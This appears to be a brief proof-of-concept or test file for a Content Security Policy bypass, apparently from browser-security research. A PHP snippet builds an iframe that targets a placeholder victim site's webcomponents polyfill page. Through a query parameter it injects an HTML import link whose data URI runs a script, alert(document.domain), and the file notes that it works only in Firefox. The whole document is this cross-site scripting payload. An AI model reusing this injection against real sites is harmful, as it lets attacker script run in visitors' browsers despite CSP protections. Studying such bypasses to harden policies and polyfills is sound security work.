<iframe src="https://victim.example.com/repo/csp/sd/webcomponents-polyfill.php?csp=sd&inj=<?php 
$payload = <<<'PAYLOAD'
FF ONLY (requires polyfilled HTML5 imports).
<link rel=import href="data:text/html,<script>alert(document.domain)</script>boo">
PAYLOAD;
echo urlencode($payload);
?>"></iframe>

